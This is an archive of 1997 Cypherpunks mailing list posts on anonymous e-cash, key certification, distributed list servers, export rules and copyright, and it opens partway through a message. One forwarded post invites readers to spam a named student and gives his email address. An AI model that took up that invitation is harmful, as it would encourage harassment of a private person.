>pass bad cash and claim it was good, or did the merchant deposit good
>cash and claim it was bad?
>
>The same thing could happen every day at the supermarket, of course.
>A customer insists they paid $20 but got change for a $10.  If dozens of
>customers say the same thing has happened to them, we start to mistrust
>the market, while if several businesses say this particular customer
>has made the same claim to them, we blame the customer.

Here is another idea.
The merchant and customer agree on a price, with the merchant knowing that
the "bank" will take a cut for their services.
The merchant and customer both LOG IN to the bank seperately, each type in
their agreed upon price and cut & paste in the services rendered
information.  If they match, the bank makes the necessary transaction
between the accounts, e-cash stash, etc.  The bank also supplies both
parties with a clear signed receipt.  The bank can now no longer alter the
receipt, as the merchant and customer both have a copy.  And the customer
and merchant can not alter the receipt, because then it would fail the test
on the signature.
If a receipt for a transaction number were used, then the only threat would
be the same one that exists for remailer operators.  This could be negated
by daisy-chaining banks in a similair manner.  If each bank took a cut of
non-customers of $.0002 or .02% of the transaction, whichever was greater,
then a suitable system could be set up.

Another idea that has been festering.  If we could get a CPA involved in
this forum, I would be willing to have h[im/er] sign my key, (which is
seldom used, mostly because this is the only place I use e-mail), for that
reasonable fee that CPA's can charge.  I know that it is not a standard, or
even legally recognized, post for CPA's, but I think that enough people
would trust them.
This would take care of some of the "newly minted" key problems.  Since
getting someone who is trusted to sign your key is a recognized method of
getting people to believe you are who you say you are.  Just an idea.
Actually two, one half thought out, one that has been bugging me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 19:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer
In-Reply-To: <199702130302.VAA02808@einstein>
Message-ID: <199702130341.VAA05333@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> 
> Hi,
> 
> We have established the first link between cypherpunks@ssz.com and
> cypherpunks@algebra.com. Testing will continue for about 24 hours and we
> hope to have the link going two-way within a couple of days.
> 
> If testing proceeds at the current pace we should be ready to go for a 3-way
> link if anyone will be ready this weekend. If we can get a 3-way going we
> should be ready for prime time.


Jim,
  I suggest getting in touch with Lance Cottrell (loki@Cyberpass.net)
ASAP and coordinating with him as he has the facilities to host the
entire list, but desires the distributed approach.  He is currently
gating Cypherpunks-unedited@toad.com to subscribers of
cypherpunks@Cyberpass.net.  He would make an excellent third link in
the chain and seems to be willing.

Furthermore, he has also indicated that he is eventually interested in
gating back and forth to the newly created and already-active
alt.cypherpunks.  He needs help and information on just how to do
that, though.  This would complete the circle, syncing all the
available routes to cypherpunks.  All will benefit by having the
choice of mail-filters and/or newsreading facilities to experience the
unfiltered/unedited/unstoppable list.

Hope the experiments prove sturdy and wish all best of luck.

me

-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 18:48:35 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: anonymity and e-cash
In-Reply-To: <199702130044.QAA10501@toad.com>
Message-ID: <199702130244.VAA08897@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	In fact, the Identity Agnostic bits were Doug's, and they were
focused on the idea that a bank that did not implement blinding could
be used in an anonymous fashion by someone willing to violate the
patents.

	/*  Blind(*coin) here would violate Chaum's patent, so we
	 *  can't do that 
	 */

Adam

Tim May wrote:

| At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):

| In August of '95, Doug Barnes released a long article on "Identity
| Agnostic" systems. (His article is no longer at the www.communities.com Web
| site, so I can't refer you to it. Maybe he'll post it again.)

| In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
| Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
| some cases, not in other cases). This means that "anyone a mint" does not
| violate any of the Chaum/Digicash patents, and "mint clients" are likely to
| be written by third parties. (The _customer_ is presumably on the honor
| system to abide by the Chaum patents...except the patents are only being
| licensed to banks...go figure.)
| 
| (This is where, as I recall, Doug's "agnostic" system came in...it is
| possible his thinking was similar to Ian's...I don't have Doug's paper
| handy.)



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 12 Feb 1997 21:48:54 -0800 (PST)
To: Benjamin Grosman <bgrosman@magna.com.au>
Subject: Re: Transmission of Crypto material and ITAR
In-Reply-To: <199702130256.SAA18293@toad.com>
Message-ID: <3.0.1.32.19970212214638.0069729c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Unless someone in the U.S. is willing to go to the effort of capturing all
of the packets that comprise the crypto software package as they pass
through various MCI, Sprint, etc. networks (which is probably illegal in
itself, in most cases), on their way from the UK to your site in Australia
and then reassembling them in the U.S. into something that is in violation
of the export regulations, what difference does the path of the individual
packets make?

At 01:15 PM 2/13/97 -0800, you wrote:
>Dear All,
>
>I have a question regarding the impossible enforcement of ITAR/EAR:
>Naturally I cannot download crypto software from the US, but most of these
>sites have mirrors in other countries, such as the UK for PGP, and sweden
>and finland for lots of things.
>
>However, with the way that information is routed throughout the internet
>from these sites, whenever I, in Australia, request packets containing this
>data from the UK etc, it invariably passes through the US from coast to
>coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
>trying to enforce something totally unenforcable? Surely they cannot expect
>all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 
>
>Can anyone tell me what the ruling is with regards to this?
>
>Yours Sincerely,
>
>Benjamin Grosman
>
>----------------------------------------------------------------
>  Benjamin Grosman - Programmer, Magna Data Internet Solutions
>  Quidquid latine dictum sit, altum viditur.
>                  [Whatever is said in Latin sounds profound.]
>----------------------------------------------------------------
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Wed, 12 Feb 1997 18:54:09 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199702150204.VAA07451@ns1.scranton.com>
Message-ID: <Pine.LNX.3.93.970212214800.14042A-100000@user1.scranton.com>
MIME-Version: 1.0
Content-Type: text/plain


       Zip,NAda,Nothing. And they have more too. They were backlogged so
some people haven't gotten their mail since I last posted about. I called
yesterday about my videos and posters and lo and behold I received my two
tech manuals today.
       The people who answer the lines are friendly and usually pretty
industrious in getting things out or done.
       By the way there is supposed to be a department split in the near
future so I don't know if manuals will be in one department and posters in
another or what.



On Wed, 12 Feb 1997, Tobin Fricke wrote:

> Date: Wed, 12 Feb 1997 18:03:35 -0800
> From: Tobin Fricke <tobin@edm.net>
> To: Moroni <moroni@scranton.com>, Genocide <gen2600@aracnet.com>
> Cc: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: Re: NSA Rainbow Series.
> 
> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Wed, 12 Feb 1997 21:54:42 -0800 (PST)
To: Path:@iwi.chico.joshuanet.com
Subject: Unsubcribe
Message-ID: <1.5.4.32.19970213055525.0068b36c@iwi.joshuanet.com>
MIME-Version: 1.0
Content-Type: text/plain


Unsubcribe <lerhuber@joshuanet.com>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Feb 1997 19:50:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: You guys/gals oughta get a kick outta this guy
In-Reply-To: <199702111442.GAA20312@toad.com>
Message-ID: <DcN22D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


This sounds like the <CENSORED> web server:

* it comes without source code
* the vendor is infamous for lying and for having security holes
* attempts to discuss the product's security result in lawyer letters.

Rick Osborne <osborne@gateway.grumman.com> writes:

> Yet another person who needs a good stern talking to by the nearest
> cypherpunk --- this guy posted to comp.lang.perl.misc with the following
> blasphemy, which I luaghed at until I had tears in my eyes.
> --BEGIN COMPLETE STUPIDITY--
> I want to make it executable to protect the source code from being read. I
> don't want the source code available because I don't want people looking
> for security holes.
> --END COMPLETE STUPIDITY--
>
> If anyone wants to spam this guy, or at least show him the error of his
> ways, his sig explains the necessary info:
>
> David K.
> djk490s@nic.smsu.edu
>
>
> _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
> If the ionization rate is constant for all ectoplasmic entities, we could
> really bust some heads! In a spiritual sense, of course.
>
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 22:00:05 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: subscribe
Message-ID: <199702130600.WAA02870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:48 PM 2/12/97 -0600, Igor Chudov wrote:
>Jim Choate wrote:
>> 
>> 
>> Hi Igor,
>> 
>> > I will not impact me negatively. I do, however, suggest very strongly
>> > that hosts should be subscribed to each other thgrough another mechanism
>> > and not majordomo, in order to prevent mail loops, header rewriting and
such.
>> 
>> Suggestions? What I had in mind was that any messages that get sent on
>> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
>> with is a 'linked list' of remailers. Remailer A sends only to B and
>> receives only from C...
>> 
>> 
>>                                A
>>                              ^   v
>>                              C < B
>
>> Then to stop loops B deletes all outgoing mail from B. Since email can be
>> forwarded from many sites the search must traverse the entire forward chain
>> killing the message if B appears as a source. I suspect a simple procmail
sort
>> can accomplish this. My next step is to brush up on my procmail. I hope to
>> have something in a couple of days that will allow you to subscribe
>> cpunks@algebra to cpunks@ssz and both ends will be filtering.
>
>Here's how I do it (it is pretty close to your proposal): 
>
>1) I delete duplicate messages (by looking up the database of
>message-IDs) right away
>2) I bounce all incoming messages to several other list servers
>3) I pipe the article to majordomo for distribution.
>
>Note that majordomo changes headers and I wuold like to feed
>other servers with UNCHANGED articles.
...
>> Another nice advantage of this architecture is that 'rings' of remailers can
>> be interconnected by simply sending output to more than one site. Might even
>> be a good stability rule, "Never have a remailer send to more than 1 machine
>> in its 'own' ring". I see no limit other than resources that would limit the
>> number of rings an individual remailer might be in.
>
>A very good point.
>
...
Something to consider.  If anyone of the distributed remailers is removed
from a ring, the messages that need to travel across that ring can no longer
do that.  This makes the loop only as strong as its most at risk remailer.
The star approach has already been seen in action, the trouble here is a
single choke point.
Full interconnectability is only feasible in a small net, but I would advise
this at first.  Check for the x-loop to see if another one got it first.  If
none, add one and send it on down the line.
A disjointed mess, if the remailers are given first access to the list,
could work quite well as long as that x-loop remained to point to who sent
the message, and the x-loop contained an unalterable message number, and the
remailers could eliminate duplications, probably based on message number.
This should work as the net grows and would only be as weak as the strongest
two connected remailers.
Sounds like the internet.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 19:07:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <3.0.32.19970212220231.00570ed0@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain



you are forwarding messages to me... stop it.

remove markk@ra1.randomc.com from your mail list...


all of a sudden I'm getting mail from bunches of people

i don't know and who don't know me.


help me out... go to the place where you got my email

address and have them correct their links.




Thank you.              markk


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 20:06:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newgroup -- distributed mailing list on the way?
Message-ID: <m2bu9pmjv7.fsf@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

It appears that the distributed mailing-list effort is well underway.
Experiments by Igor Chudov and Jim Choate are progressing.  The next
few weeks should iron out the kinks.(over-optimism?)

Lance Cottrell (mixmaster author) has also agreed to host the list,
the entire list if need-be.  Although his posts on the cypherpunks
list indicate that he favors the distributed list approach.  Lance is
also in the unique position of having the computing resources to feed
the list to and from alt.cypherpunks.  

Furthermore, Lance seems to be favorable to this idea as well.
However, he needs help in getting up to speed on just how to create
and run this news-to-mail/mail-to-news gateway.

What this means is that the same list will be propagated through
multiple sources, making the destruction or loss of any one source
non-catastrophic.  It is also the classic net approach of routing
around censorship channels.  Furthermore, users who cannot access the
alt.* hierarchy or easily read newsgroups have the option of
subscribing to mailing lists and receiving the same uncensored feed.

This also means that users will have a maximum amount of resources at
their disposal to better experience the list and eliminate the net's
inevitable spam and noise.  Users who have access to or prefer
powerful newsreaders and NoCeM's can use them at will.  Users who have
procmail, Pegasus Mail, Eudora Mail and other email-filtering schemes
can use those powerful tools.

It is likely that the cypherpunks list/group will remain a target of
spammers and disruptors.  The controversial topics are bound to
generate noise.  The entrance of unitiated individuals via Usenet is
bound to create some interesting and sometimes aggravating discussions
as well as the inevitable re-hashing of some old issues.  

The unfiltered, uncensored, and multi-homed list/group leaves the
responsibility where it belongs, in the lap of end-user.  Ignore the
noise and the noisemakers.  Defeat the disruptors by avoiding them.
Accept your responsiblity and contribute Signal whenever you can.

"Arise!  You have nothing to lose but your barbed-wire fences."

git along 'lil doggies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:24:07 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702122049.OAA07350@manifold.algebra.com>
Message-ID: <3302B2E9.20E3@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > "Timothy C. May" <tcmay@got.net> writes:
> > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:

> > > >If the people decide for creation of a new USENET newsgroup,
> > > >we need to think very hard about actually moving it to a different
> > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.

> It is too late to stop alt.cypherpunks, but if I had to make a
> prediction again, I would predict that soon posters will BEG to help
> them create comp.*.cypherpunks, because of spam and alt.flamage.

I would lean toward sci.crypt.cypherpunks myself.  Are there any
implications in the use of that name as to restrictions, etc.?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 20:31:07 -0800 (PST)
To: reece@taz.nceye.net (Bryan Reece)
Subject: Re: Network of majordomos (fwd)
In-Reply-To: <19970213040230.29730.qmail@taz.nceye.net>
Message-ID: <199702130424.WAA12995@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bryan,

What you did may be the ideal way to go actually. It would be
great to have several NNTP servers with these (or similarly named)
groups open to the world. I believe that it is possible to set 
them up such that they feed each other.

say, the following groups may be good:

cypherpunks.crypto
cypherpunks.politics
cypherpunks.flames
cypherpunks.products
cypherpunks.pgp (sort of redundant with the pgp newsgroups)
cypherpunks.groups
cypherpunks.admin
cypherpunks.kooks
cypherpunks.remailers
cypherpunks.paranoia (or cypherpunks.tla)
cypherpunks.politics.assassination
cypherpunks.censorship

(the following part is more questionable as some people would argue in
favor of nocems)

cypherpunks.moderated.sandy-sandfort
cypherpunks.moderated.ray-arachelian
cypherpunks.moderated.tim-may
cypherpunks.moderated.... whoever else wants ...


igor

Bryan Reece wrote:
> 
>    Date: Wed, 12 Feb 1997 14:33:03 -0800
>    From: Greg Broiles <gbroiles@netbox.com>
> 
>    Yes, I installed INN and ran a few hundred test messages through it last
>    night. My machine will be on the net full-time Thursday or Friday. Will yours
>    be ready then, too? 
> 
> We've got INN here. I created a cpunks.general group (as well as
> alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
> feed hasn't got alt.cypherpunks yet; is someone who has got it willing
> to feed it?  (also, is there a consensus on what group names to use:
> new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
> with the usual propagation and spam problems?)
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Wed, 12 Feb 1997 23:07:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130628.WAA06217@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Sean Roach <roach_s@alph.swosu.edu>
> Here is another idea.
> The merchant and customer agree on a price, with the merchant knowing that
> the "bank" will take a cut for their services.
> The merchant and customer both LOG IN to the bank seperately, each type in
> their agreed upon price and cut & paste in the services rendered
> information.  If they match, the bank makes the necessary transaction
> between the accounts, e-cash stash, etc.

This provides no anonymity with respect to the bank, right?  The bank
knows who is paying whom.  That's not very valuable IMO.  The bank is
still a centralized place where all this transaction information exists,
a fat target for privacy opponents.  I'd say that anonymity to the
bank is more important than anonymity to the merchant for this reason.
So I think you're going at this backwards.

> Another idea that has been festering.  If we could get a CPA involved in
> this forum, I would be willing to have h[im/er] sign my key, (which is
> seldom used, mostly because this is the only place I use e-mail), for that
> reasonable fee that CPA's can charge.  I know that it is not a standard, or
> even legally recognized, post for CPA's, but I think that enough people
> would trust them.

The big question with identity certificates is what procedures were followed
in verifying the identity when the cert was issued.  If the CPA publishes
some standard method, and his reputation is strong enough that people will
trust him to follow it, then it might well be worth money to you to have
him sign it.  This is the traditional role of the Certification Authority.

> This would take care of some of the "newly minted" key problems.  Since
> getting someone who is trusted to sign your key is a recognized method of
> getting people to believe you are who you say you are.

It depends on the circumstances where you expect to use your key.  Within
a small to medium circle of associates there may be some group members
who sign keys and are trusted by other members of the group.  There is
no particular reason for it to be difficult.  If you want a signature which
will be accepted by everyone in the U.S. you have a harder problem.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 20:24:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property rights on cypherpunks (fwd)
Message-ID: <199702130430.WAA03048@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Private property rights on cypherpunks

> I forward articles to cypherpunks that are copyrighted by my employers, or
> magazines like Playboy and Wired for which I write freelance pieces. 
> 
> I like to think these articles have some value. I will not forward any of
> them, nor would I be able to, if they magically became "public domain."
> 
> "De facto public domain" is an idea that deserves to die. Now.

Really? Do you have a priori permission from your publisher, who owns those
stories, to distribute them elsewhere?

If not please explain why I or any other person should be a willing
acomplice? You could also still post them anonymously. You could also
simply include a 'fair use' proviso somewhere.

In such a case it would be in your publishers best interest to require a
copyright notice. In that case there is no confusion about who owns those
rights. Especialy when you consider the traffic is global which means your
'implied copyright' here don't mean squat there. I suspect just about
every place that recognizes a copyright recognizes an explicit one.

Instead of "De facto public domain should die" how about,

"Implied a priori contracts should die now"

Lord a mighty, haven't you heard? Information wants to be free. Let the
thing go. If you really think your words are something that will someday win
a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
it would seem to me that implicit copyright works against the axiomatic
crypto-icon.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Wed, 12 Feb 1997 19:34:47 -0800 (PST)
To: Mark Krell <markk@randomc.com>
Subject: Re :Re?
Message-ID: <3.0.32.19970212223615.0069e468@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:02 PM 2/12/97 -0500, you nastily wrote in the form of :
:
:Attachment Converted: "c:\remove1.txt"
:
How, do you imagine, did you get on this God-forsaken list? Anger abounds. 

Is this Kismet that you are here now at this crucial moment of the list's evolution?

Perhaps you have something to offer of which you are not aware.

Avail yourself of our hospitality as we implode. Flee not.

There is meaning to this. So our savants have told us.

Speak the words to Majordomo@toad.com in the message panel (no quotes):

"unsubscribe cypherpunks"

Speak only thus.

Bother us no more at our moment of transfiguration.

Hail and farewell, Bro.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:39:16 -0800 (PST)
To: cypherpunks@algebra.com
Subject: [STATS] Cypherpunks-unedited subscriptions
In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <3302B6C6.2A25@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Total subscribers for cypherpunks-unedited:
-------------------------------------------
Tue 14 Jan: 13
Wed 15 Jan: 15
Thu 16 Jan: 13
Fri 17 Jan: 15
Tue 21 Jan: 28
Fri 24 Jan: 30
Mon 27 Jan: 34
Tue 04 Feb: 43
Tue 11 Feb: 62

When Gilmore made his pronouncement that "the subscribers have spoken",
only a minority of the "real" subscribers were on the -unedited list.

Since the above figures don't include Sandfort's entry, the jump to
62 as of yesterday (despite the discontinuance) easily represents
the majority of the active (real) subscribers.  Another blood stain
on Gilmore's shroud, as it were.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 20:00:05 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Private property rights on cypherpunks
In-Reply-To: <199702122125.NAA05544@toad.com>
Message-ID: <Pine.GSO.3.95.970212225619.1043B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I forward articles to cypherpunks that are copyrighted by my employers, or
magazines like Playboy and Wired for which I write freelance pieces. 

I like to think these articles have some value. I will not forward any of
them, nor would I be able to, if they magically became "public domain."

"De facto public domain" is an idea that deserves to die. Now.

-Declan


On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Tue, 11 Feb 1997 22:46:03 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: List for discussing many majordomos
> 
> > Yes, this is a good idea. One of the proponents of the "many majordomos"
> > project apparently has plans to impose his own ideas about intellectual
> > property on the project, and this seems like a pretty serious thing for a
> > setup that's allegedly going to prevent censorship. We need a place to
> > discuss this.
> 
> Please explain how making submissions de facto public domain censors
> anyone?
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage@ssz.com
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 20:18:15 -0800 (PST)
To: ravage@einstein.ssz.com (Jim Choate)
Subject: Re: Cypherpunks Distributed Remailer (fwd)
In-Reply-To: <199702122057.MAA04643@toad.com>
Message-ID: <199702130414.XAA09293@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
| 
| Forwarded message:
| 
| > Date: Wed, 12 Feb 1997 14:22 EDT
| > From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
| 
| > 	Umm... because you'll eventually accumulate _lots_ of addresses
| > that don't work, which will slow things down tremendously in sending
| > mail out?
| 
| The current subscription is between 1,000 and 2,000 I don't think that is
| _lots_. All we need to do is count the number of bounces per address in
| a given period, the SSZ end is trying to decide between weekly or
| monthly cleanings, and then clear that address. At no point would I need
| to archive the original bounce.

qmail has bounce management software for its list management tools.
(bounceman) "Russell Nelson has a bounce manager which <b>totally</b>
eliminates any need to deal with bounces."

www.qmail.org




-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 20:26:49 -0800 (PST)
To: das@razor.engr.sgi.com (Anil Das)
Subject: Re: whois cypherpunks.org ?
In-Reply-To: <199702120616.WAA07536@toad.com>
Message-ID: <199702130419.XAA09321@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Aleph1 (Levy) is a grey hatted hacker.  Amongst other things, he
moderates the bugtraq mailing list.  Decent fellow.

Adam


Anil Das wrote:
| With all this talk about relocating the home of cypherpunks, I decided to
| see if any second level domains are registered under the cypherpunks
| name.
| 
| Both cypherpunks.org and cypherpunks.com are registered by one
| Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
| though. Anybody knows more about this?
| 
| --
| Anil Das
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Wed, 12 Feb 1997 23:07:55 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <5dudd2$82h@fido.asd.sgi.com>
Message-ID: <3302C20F.2781@sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
> 
> At various stages in the transition, we will be getting multiple copies of
> the same messages as the are re- cross- whatever-posted to lists,
> newsgroups and anything else handy.
> 
> Anyone have a procmail script that will show me just ONE copy of messages,
> even if the headers are not identical (e.g. one looped, another was
> forwarded, etc.)?
> 

# Remove duplicate messages
:0 Wh: .msgid.lock
| formail -D 8192 .msgid.cache


It detects duplicates by Message-Id.

-- 
Anil Das




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Krell <markk@randomc.com>
Date: Wed, 12 Feb 1997 20:56:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <3.0.32.19970212235229.005742d8@randomc.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Wed, 12 Feb 1997 14:22 EDT
>From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
>To: ravage@EINSTEIN.ssz.com
>Cc: cypherpunks@toad.com, list-managers@greatcircle.com
>Subject: Re: Cypherpunks Distributed Remailer
>Sender: owner-cypherpunks@toad.com
>
>From:	IN%"ravage@EINSTEIN.ssz.com"  "Jim Choate" 12-FEB-1997 11:59:08.20
>
>>> Date: Tue, 11 Feb 1997 19:18:46 -0600 (CST)
>>> From: ichudov@algebra.com
>>> Subject: Re: Moderation experiment almost over; "put up or shut up"
>
>>> John Gilmore wrote:
>>> > A pentium is definitely up to this task.  I've been running it the
>>> > whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
>>> > general computing).  Give it a big /var/spool partition (mine is 60MB)
>>> > because every message will sit in the queue for days (*somebody* on
>>> > the list will have an unreachable name server or MX server until the
>>> > msg times out).  Give it lots of RAM and paging space, since each
>>> > sendmail process takes about 2MB virtual, 1.4MB physical, and you will
>>> > have dozens running at the same time.
>
>>My approach to this problem has been to use a 1G drive and mount the entire
>>file system on it. Swap and MS-Dos each get their own partitions. This
>>allows the use of the entire drive as a buffer. I am in the process of
>>adding another 1G in approx. two weeks with the intent of moving /home off
>>the main drive. This not only gives the system more space but the users as
>>well. I set swap to 4x main ram. I use Linux and have it as one giant
>>partition even though suggested is blocks of 16M, works for me (YMMV). Would
>>be minor to monitor df and alarm when it gets to 200M or something.
>
>>I must admit however that I am looking at a faster mbrd. and a bigger hard
>>drive in the immediate future to make up for the extra load I expect. Had
>>not really planned on the remailer project however...
>
>>> > You'll need a BIG mailbox for the bounce messages, and someone (or
>>> > some unwritten software) to scan it every day or two and delete the
>>> > lusers whose mailboxes are full or who dumped their account without
>>> > unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
>>> > email a day; more when the list is under attack.
>
>>How about dumping the bounces to /dev/null? I shure don't care if some
>>bozo's (other than mine that is) mailbox goes away.
>
>	Umm... because you'll eventually accumulate _lots_ of addresses
>that don't work, which will slow things down tremendously in sending
>mail out?
>
>>> > The real issue is how willing you are to put your own time into
>>> > dealing with problems.  Not only do things go wrong by themselves, but
>>> > there are malicious assholes in the world who will deliberately make
>>> > trouble for you just because they like to.  Spending a day or two
>>> > cleaning up the mess is just part of the job.  Check your level of
>>> > committment two or three times before taking on the task -- so you
>>> > won't end up getting disgusted after a month or two and putting the
>>> > list's existence into crisis again.  It's not a "set it up and forget
>>> > it" kind of operation.
>
>>I can verify this. If I was not already having to deal with these problem
>>as a current mailing list operator I certainly would not take on the
>>job. It is one of the reasons I STRONGLY suggest anyone serious about this
>>should use the resources to make money as well. Anyone capable of setting up
>>and operating such a remailer system is at least capable of basic skills.
>
>	Well, loki@cyberpass.net has made the offer to host the entire
>list... and Lance is certainly making money at it. While this would have
>some problems in comparison with the distributed list idea (namely more of
>a choke point), it would decidedly help.
>
